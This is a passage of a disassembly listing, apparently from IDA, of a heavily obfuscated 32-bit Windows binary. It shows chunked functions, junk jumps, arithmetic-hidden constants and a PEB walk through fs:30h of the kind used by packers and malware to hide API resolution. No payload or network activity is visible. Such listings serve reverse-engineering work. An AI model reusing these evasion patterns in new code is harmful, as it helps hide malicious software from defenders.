; END OF FUNCTION CHUNK	FOR sub_426D4F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42B019	proc near		; DATA XREF: sub_426968:loc_426DC7o

; FUNCTION CHUNK AT 0042CA83 SIZE 00000005 BYTES

		add	ecx, 0BCB1581Dh
		xchg	ecx, [esp+0]
		jmp	loc_42CA83
sub_42B019	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E555


loc_42B028:				; CODE XREF: sub_42E555+9j
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_42E555

; =============== S U B	R O U T	I N E =======================================



sub_42B02D	proc near		; CODE XREF: sub_42760F-2C50p
					; sub_4266B1+3p ...

; FUNCTION CHUNK AT 004265A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E04 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00429633 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429B66 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A8CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B393 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042B4B4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042D80A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E090 SIZE 0000000A BYTES

		js	sub_42BB2A
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_428E04
sub_42B02D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42B03C:				; CODE XREF: wto1jq8f:loc_42429Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DEFF


loc_42B03D:				; CODE XREF: sub_42DEFF-1447j
		jmp	loc_426545
; END OF FUNCTION CHUNK	FOR sub_42DEFF
; ---------------------------------------------------------------------------


loc_42B042:				; CODE XREF: wto1jq8f:00428034j
		jmp	loc_42FA23
; ---------------------------------------------------------------------------


loc_42B047:				; CODE XREF: wto1jq8f:0042D969j
		sbb	ecx, 0DE7C2A0Ah
		rol	ebp, 7
		jmp	loc_426F81
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42B056:				; CODE XREF: wto1jq8f:0042863Ej
		jg	loc_42F230
		jmp	loc_42E986
; ---------------------------------------------------------------------------


loc_42B061:				; CODE XREF: wto1jq8f:loc_42C912j
		push	9E876E25h
		pop	eax
		and	eax, 6BBD6014h
		add	eax, 0F5BD3554h
		mov	eax, [eax]
		mov	edx, [ebp-4]
		mov	byte ptr [eax+edx], 0
		jmp	loc_4264C8
; ---------------------------------------------------------------------------
		mov	[ebp+0], edx
		jmp	loc_42634E
; ---------------------------------------------------------------------------


loc_42B089:				; DATA XREF: sub_429471-33A0o
		push	0
		push	10h
		mov	eax, [ebp-8]
; START	OF FUNCTION CHUNK FOR sub_4267AE


loc_42B090:				; CODE XREF: sub_4267AE+4D7j
		push	eax
		call	sub_42AEA4
; END OF FUNCTION CHUNK	FOR sub_4267AE
; START	OF FUNCTION CHUNK FOR sub_426313


loc_42B096:				; CODE XREF: sub_426313+33D1j
		jo	loc_4271F6
		not	ebx
		jmp	loc_42DC52
; END OF FUNCTION CHUNK	FOR sub_426313
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42B0A3:				; CODE XREF: sub_42F50F-253Dj
		ja	loc_42D068
		jmp	loc_429EEA
; END OF FUNCTION CHUNK	FOR sub_42F50F

; =============== S U B	R O U T	I N E =======================================



sub_42B0AE	proc near		; CODE XREF: sub_42E0FD+6p
		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		push	0D4821EC9h
		mov	eax, offset loc_426DEE
		push	offset loc_426DEA
		jmp	nullsub_46
sub_42B0AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42B0C8:				; CODE XREF: sub_4282C1+15Aj
		rol	eax, 1Bh
		jz	loc_42F760


loc_42B0D1:				; CODE XREF: sub_4282C1:loc_42E858j
		push	eax
		push	758212BEh
		pop	eax


loc_42B0D8:				; CODE XREF: wto1jq8f:loc_42BFBCj
		jmp	loc_42DFFC
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42B0DD:				; CODE XREF: sub_42E9E8-44F3j
		jp	loc_425BC4
		or	ecx, 0DFE3AE8Dh
		jmp	loc_42849E
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42B0EE:				; CODE XREF: sub_42F25F-1B87j
		jo	sub_427F4E


loc_42B0F4:				; CODE XREF: sub_42F25F:loc_42A3B1j
		call	sub_424585
		mov	edx, 0F75CA70h
		push	esi
		jmp	loc_42F0AC
; END OF FUNCTION CHUNK	FOR sub_42F25F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42704E


loc_42B105:				; CODE XREF: sub_42704E+8D8j
					; wto1jq8f:0042C06Aj
		ror	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42704E

; =============== S U B	R O U T	I N E =======================================



sub_42B10A	proc near		; CODE XREF: sub_429B76:loc_427B9Bp
					; sub_42A0E5:loc_42CAFCj
		push	offset sub_427694
		jmp	nullsub_54
sub_42B10A	endp

; ---------------------------------------------------------------------------


loc_42B114:				; CODE XREF: wto1jq8f:0042DA82j
		jz	loc_42D974
		jmp	loc_42D412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_42B11F:				; CODE XREF: sub_4262F5-1B8Dj
		sub	esi, 0B19FFA90h


loc_42B125:				; CODE XREF: sub_4262F5:loc_429D23j
		call	sub_42C859
; END OF FUNCTION CHUNK	FOR sub_4262F5

; =============== S U B	R O U T	I N E =======================================



sub_42B12A	proc near		; CODE XREF: sub_42992F+21p
					; wto1jq8f:0042E94Fj
		xchg	ecx, [esp+0]
		pop	ecx
		inc	dword ptr [ebp-4]


loc_42B131:				; CODE XREF: sub_42E541-58ECj
		mov	eax, [ebp+8]
		mov	eax, [eax-18h]
		call	sub_426968


loc_42B13C:				; CODE XREF: sub_4293FF+3EFEj
		jmp	sub_42A56D
sub_42B12A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42B141:				; CODE XREF: sub_426968+4BA8j
		jmp	loc_42CC0F
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_42B146:				; CODE XREF: wto1jq8f:00429C86j
		jmp	loc_4261D2
; ---------------------------------------------------------------------------
		js	loc_42B5A6
		shr	edx, 9
		jmp	sub_42CF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42B159:				; CODE XREF: sub_42F2C7:loc_42EC04j
		rol	eax, 1Bh
		mov	ds:dword_42D600, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------


loc_42B163:				; CODE XREF: wto1jq8f:00427E35j
		jmp	loc_4290E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_42B168:				; CODE XREF: sub_4282FE-179Bj
		jmp	loc_42CCED
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_42B16D:				; CODE XREF: sub_42D4FD:loc_42C6D9j
		ror	eax, 1Bh
		push	eax
		push	eax
		jmp	loc_42DBF9
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------


loc_42B177:				; CODE XREF: wto1jq8f:004247BCj
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_42B178	proc near		; CODE XREF: sub_42A5C4+5F0p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 3E669BA0h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_4291B9
sub_42B178	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42B18A:				; CODE XREF: sub_429471-4BE8j
		jle	loc_42B60A
		cdq
		jmp	loc_42C137
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_42B196:				; CODE XREF: sub_42EDB9-63A5j
		jns	loc_42FC98
		shr	esi, 5
		sub	edx, 0FD1B2F93h


loc_42B1A5:				; CODE XREF: sub_42EDB9:loc_42FA56j
		call	sub_42A0E5
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42B1AA:				; CODE XREF: sub_42EFB5+4j
		jmp	loc_42C387
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C859


loc_42B1AF:				; CODE XREF: sub_42C859:loc_4281F0j
		mov	edi, eax
		mov	eax, 80000001h
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		xor	[esi], edx
		push	offset sub_42FAE4
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_42C859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B1CD:				; CODE XREF: wto1jq8f:00428C45j
					; sub_426E98:loc_429B33j
		add	ebx, 0D591627Dh
		call	sub_42F62D
; END OF FUNCTION CHUNK	FOR sub_426E98
; START	OF FUNCTION CHUNK FOR sub_428136


loc_42B1D8:				; CODE XREF: sub_428136+Dj
		jmp	loc_426CEB
; END OF FUNCTION CHUNK	FOR sub_428136
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAF6


loc_42B1DD:				; CODE XREF: sub_42AAF6+Ej
		pop	ebx
		or	ebx, 0E06A5EB2h
		and	ebx, 0C1771246h
		jnz	loc_42DD9B


loc_42B1F0:				; CODE XREF: sub_42E64B+B0Dj
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_42AAF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42B1F5:				; CODE XREF: sub_42E9E8+8Dj
		jmp	loc_42A4EF
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42B1FA:				; CODE XREF: sub_4266B1+610Aj
		jmp	loc_4259AE
; ---------------------------------------------------------------------------


loc_42B1FF:				; CODE XREF: sub_4266B1+9F0j
		jmp	loc_42A64D
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
		jns	loc_426500
		jmp	loc_42F298
; ---------------------------------------------------------------------------

locret_42B20F:				; CODE XREF: wto1jq8f:loc_4263E2j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B35E


loc_42B210:				; CODE XREF: sub_42B35E+11j
		jmp	loc_42E38D
; END OF FUNCTION CHUNK	FOR sub_42B35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B215:				; CODE XREF: sub_426E98+2DD0j
		jmp	loc_427A0C
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B6D


loc_42B21A:				; CODE XREF: sub_429B6D+4j
		or	eax, eax
		jnz	loc_429E71
		call	sub_424382
		or	eax, eax
		jmp	loc_429E6B
; END OF FUNCTION CHUNK	FOR sub_429B6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42B22E:				; CODE XREF: sub_4272F3+3127j
		or	al, al
		jz	loc_426D77
		jmp	loc_42980B
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
		sub	edi, eax
		xchg	edx, [eax]
		jmp	sub_42B5D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42B244:				; CODE XREF: sub_429BFF+22C2j
		sub	ebp, ebx
		test	ebx, ecx
		jmp	loc_426DA6
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_42B24D:				; CODE XREF: sub_4282FE+212Fj
		jz	loc_426B5D
		sbb	esi, 6E9558E4h
		ror	esi, 12h
		jmp	loc_42F5A8
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42B261:				; CODE XREF: sub_42C6C3:loc_42D81Cj
		push	ecx
		push	0BDD6D154h
		pop	ecx
		xor	ecx, 0BDD6D17Ch
		jmp	loc_42979E
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42B274:				; CODE XREF: wto1jq8f:0042DD1Dj
		add	esi, edi

; =============== S U B	R O U T	I N E =======================================



sub_42B276	proc near		; CODE XREF: sub_42628C+6A3Dp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00426281 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427101 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427C6B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428193 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004281AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428B27 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428E35 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00429D43 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A307 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B922 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D8B4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042F6DD SIZE 00000008 BYTES

		mov	[esp+0], ebx
		pop	ebx
		xchg	edx, edi
		push	eax
		push	ebx
		pop	eax
		jmp	loc_42D8B4
sub_42B276	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_42B285:				; CODE XREF: sub_4266B1:loc_42C470j
		mov	ebx, 0E67370A7h
		jnz	loc_42AF90
		mov	edi, ecx
		jmp	loc_425C9C
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42B297:				; CODE XREF: sub_42A909-9D0j
		jnz	loc_424027
		jmp	loc_4241C6
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------


loc_42B2A2:				; CODE XREF: wto1jq8f:00429B2Ej
		jle	loc_425AB9

; =============== S U B	R O U T	I N E =======================================



sub_42B2A8	proc near		; CODE XREF: sub_427A8D+8251p

; FUNCTION CHUNK AT 00424B52 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00424DE2 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi


loc_42B2AC:				; CODE XREF: wto1jq8f:loc_426800j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_42D5D0
		push	edi
		push	5ED3F11Ch
		mov	edi, offset loc_424B5B
		jmp	loc_424DE2
sub_42B2A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B2C4	proc near		; DATA XREF: sub_4242D6:loc_42AB5Do
		push	esi
		xchg	ebp, esi


loc_42B2C7:				; CODE XREF: sub_429471:loc_42C364j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_42F1F0, 0
		jmp	loc_42A4E4
sub_42B2C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_42B2D8:				; CODE XREF: sub_42A88D-1D71j
		or	ebp, 10919ECFh


loc_42B2DE:				; CODE XREF: sub_42A88D:loc_427777j
		call	sub_4242D6
		mov	edx, 0DE6CF580h
		call	sub_429165
		push	eax


loc_42B2EE:				; CODE XREF: wto1jq8f:00429B4Fj
		rol	eax, 0Bh
		push	ebx
		push	230B7ADFh
		jmp	loc_428F4C
; END OF FUNCTION CHUNK	FOR sub_42A88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42B2FC:				; CODE XREF: sub_42E0FD-2CFCj
		pop	esi
		add	esi, 2F91B6Ch
		xchg	esi, [esp-8+arg_4]
		jmp	loc_4290B3
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7E


loc_42B30B:				; CODE XREF: sub_42BE7E+353j
		test	byte ptr [ebp-8], 40h
		call	sub_42B705


loc_42B314:				; CODE XREF: sub_4262F5-3ABj
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_42BE7E
; ---------------------------------------------------------------------------


loc_42B319:				; CODE XREF: wto1jq8f:00426735j
		ja	loc_429C3D

; =============== S U B	R O U T	I N E =======================================



sub_42B31F	proc near		; CODE XREF: wto1jq8f:00429E4Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425DC1 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		mov	edx, eax
		pop	eax
		and	edx, 0CD475F61h
		jmp	loc_425DC1
sub_42B31F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42B334:				; CODE XREF: sub_42609A+87D6j
					; sub_429BFF:loc_42EE7Fj
		call	sub_42481C
; END OF FUNCTION CHUNK	FOR sub_429BFF

; =============== S U B	R O U T	I N E =======================================



sub_42B339	proc near		; CODE XREF: wto1jq8f:00424B61p
					; sub_426968:loc_427D52j

arg_0		= dword	ptr  4

		mov	[esp+0], edx
		pop	edx
		add	edi, 166B5ECh
		xchg	edi, [esp-4+arg_0]
		jmp	loc_427AB7
sub_42B339	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_42ED77

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B353	proc near		; CODE XREF: sub_427A8Dj

; FUNCTION CHUNK AT 004290BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042943B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FFCB SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_42943B
sub_42B353	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B35E	proc near		; CODE XREF: wto1jq8f:00427C66j
					; sub_42ED01:loc_42D0CEp

; FUNCTION CHUNK AT 00425D11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A007 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B210 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E38D SIZE 00000013 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
		jmp	loc_42B210
sub_42B35E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42B374:				; CODE XREF: sub_429B76:loc_4247EDj
		sub	edx, ds:4000F7h
		add	edx, 0B4879305h
		xchg	edx, [esp+8+var_8]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5FA


loc_42B388:				; CODE XREF: sub_42E5FA:loc_42E50Cj
		pop	eax
		call	sub_42F25F
; END OF FUNCTION CHUNK	FOR sub_42E5FA
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42B38E:				; CODE XREF: sub_4244EA+449Fj
		jmp	loc_42CFB3
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_42B393:				; CODE XREF: sub_42B02D+4A9j
		mov	ds:dword_42FB5C, eax
		jmp	loc_42D814
; ---------------------------------------------------------------------------


loc_42B39D:				; CODE XREF: sub_42B02D:loc_42B4B4j
		cmp	ds:dword_42FB5C, 0
		jnz	loc_42E090
		call	sub_429B6D
		mov	edx, 0E5254649h
		jmp	loc_42A8CF
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
		push	0FE557F17h
		pop	edx
		add	edx, ds:4000F1h
		and	edx, 0BEDB578Eh
		add	edx, 18B83CE3h
		call	sub_429165
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_42F08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E350


loc_42B3E2:				; CODE XREF: sub_42E350:loc_42703Cj
		call	sub_429165
		call	sub_426D31
; END OF FUNCTION CHUNK	FOR sub_42E350
; START	OF FUNCTION CHUNK FOR sub_42E0FD


loc_42B3EC:				; CODE XREF: sub_42E0FD-2317j
		sub	ecx, 0AF4F09C7h
		shr	edi, 13h
		jnp	loc_429B61


loc_42B3FB:				; CODE XREF: sub_42E0FD:loc_4273C5j
		push	esi
		push	0FD497DF8h
		jmp	loc_42B2FC
; END OF FUNCTION CHUNK	FOR sub_42E0FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D3A


loc_42B406:				; CODE XREF: sub_424D3A+6BBDj
		add	edx, 81F5F871h
		xor	edi, 6A27030Ch


loc_42B412:				; CODE XREF: sub_424D3A:loc_42B8EBj
		add	eax, 8400D39Ch
		call	sub_42FED8
; END OF FUNCTION CHUNK	FOR sub_424D3A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_42DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42B424:				; CODE XREF: sub_42506F+6691j
		jge	loc_42C906
		rol	ebp, 0Bh
		jmp	loc_42FCAC
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E3FD


loc_42B432:				; CODE XREF: sub_42E3FD-9C7Ej
		pop	ebx
		pop	eax
		pop	ecx
		pop	edx
		pop	ebp
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_42E3FD
; ---------------------------------------------------------------------------
		jmp	loc_426D89
; ---------------------------------------------------------------------------
		db 74h,	0B4h, 0E9h
		dd 4C524194h, 55A35DB0h, 38AA6285h, 0A0472FFEh,	8846068Ah
		dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 0C44D801h
		dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B7575CCh
		dd 0FCEE831Eh
; ---------------------------------------------------------------------------


loc_42B484:				; DATA XREF: sub_42F185:loc_428494o
		test	eax, eax
		jl	loc_4250CA
		inc	eax
		mov	[ebp-24h], eax
		push	offset sub_429484
		jmp	loc_427A6F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42B02D
		mov	ds:dword_42F1F0, eax
		jmp	loc_4294E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB2A


loc_42B4AD:				; CODE XREF: sub_42BB2A+350Ej
		xor	eax, eax
		mov	ds:dword_42FB50, eax
; END OF FUNCTION CHUNK	FOR sub_42BB2A
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_42B4B4:				; CODE XREF: sub_42B02D-2222j
					; sub_42BB2A+34FCj ...
		jo	loc_42B39D
		cmp	ds:dword_42FB5C, 0
		jnz	loc_42E090
		call	sub_429B6D
		mov	edx, 0E5254649h
		call	sub_426C04
		jmp	loc_42B393
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
		jb	loc_4276C0
		sub	eax, ebx
		jmp	sub_424907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42B4E8:				; CODE XREF: wto1jq8f:00427E9Cj
					; sub_426535:loc_427EA5j ...
		jz	loc_42504E
		cmp	dword ptr [ebp-4], 5
		jnz	loc_424934
		jmp	loc_4280A8
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_42B4FD	proc near		; DATA XREF: sub_42EFB5-6566o
		rol	eax, 9
		mov	ds:dword_42D5F0, eax
		retn
sub_42B4FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_42B507:				; CODE XREF: sub_42606D+6BE1j
		jmp	loc_4284A6
; END OF FUNCTION CHUNK	FOR sub_42606D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42B50C:				; CODE XREF: sub_426968+7A8Aj
		ror	eax, 9
		push	eax
		jmp	loc_42B141
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42B515:				; CODE XREF: sub_429F7D:loc_42B6CFj
		jnz	loc_42A723
		jmp	loc_428E27
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================



sub_42B520	proc near		; CODE XREF: wto1jq8f:00429375j
					; sub_4282C1+6592p

; FUNCTION CHUNK AT 00424899 SIZE 00000014 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		jmp	loc_424899
sub_42B520	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42B52F:				; CODE XREF: wto1jq8f:0042EF81j
		jnb	loc_42BEC0
; START	OF FUNCTION CHUNK FOR sub_42DDE6


loc_42B535:				; CODE XREF: sub_42DDE6:loc_42EF69j
		add	edx, 22DADF68h
		xchg	edx, [esp+0]
		jmp	loc_426388
; END OF FUNCTION CHUNK	FOR sub_42DDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42B543:				; CODE XREF: sub_426E98:loc_429C4Fj
					; sub_42ACD6:loc_42E5F5j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		jmp	loc_42DFA7
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42B55A:				; CODE XREF: sub_42F25F+Ej
		jnz	loc_428730
		jmp	loc_42E691
; END OF FUNCTION CHUNK	FOR sub_42F25F

; =============== S U B	R O U T	I N E =======================================



sub_42B565	proc near		; CODE XREF: wto1jq8f:00428EAAp
					; wto1jq8f:0042B8D3j
		xchg	esi, [esp+0]
		pop	esi
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		jmp	loc_424522
sub_42B565	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42B57F:				; CODE XREF: wto1jq8f:00425D30j
		jmp	locret_4248CC
; ---------------------------------------------------------------------------


loc_42B584:				; DATA XREF: sub_42D789:loc_425BE9o
		jb	loc_426DB6
		cmp	byte ptr [ebp-5], 0
		jnz	loc_42EF2E
		jmp	loc_429DE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42B599:				; CODE XREF: sub_4284EC-365Ej
		pop	eax
		sub	eax, 0B2549B7Ch
		add	eax, 9EEE554Ah


loc_42B5A6:				; CODE XREF: wto1jq8f:0042B14Bj
		popf
		xchg	eax, [esp+0]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42B5AF:				; CODE XREF: sub_426968:loc_42FB2Aj
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_4264A3
; ---------------------------------------------------------------------------


loc_42B5BE:				; CODE XREF: sub_426968:loc_42779Dj
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_42C538
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42B5C9	proc near		; CODE XREF: wto1jq8f:0042404Cj
					; sub_425C5F+Ap
		mov	[esp+0], edi
		pop	edi


loc_42B5CD:				; CODE XREF: wto1jq8f:loc_427B37j
		add	edx, ebx
		push	offset loc_425F79
		jmp	nullsub_49
sub_42B5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B5D9	proc near		; CODE XREF: sub_425E35+2415p
					; wto1jq8f:0042B23Fj
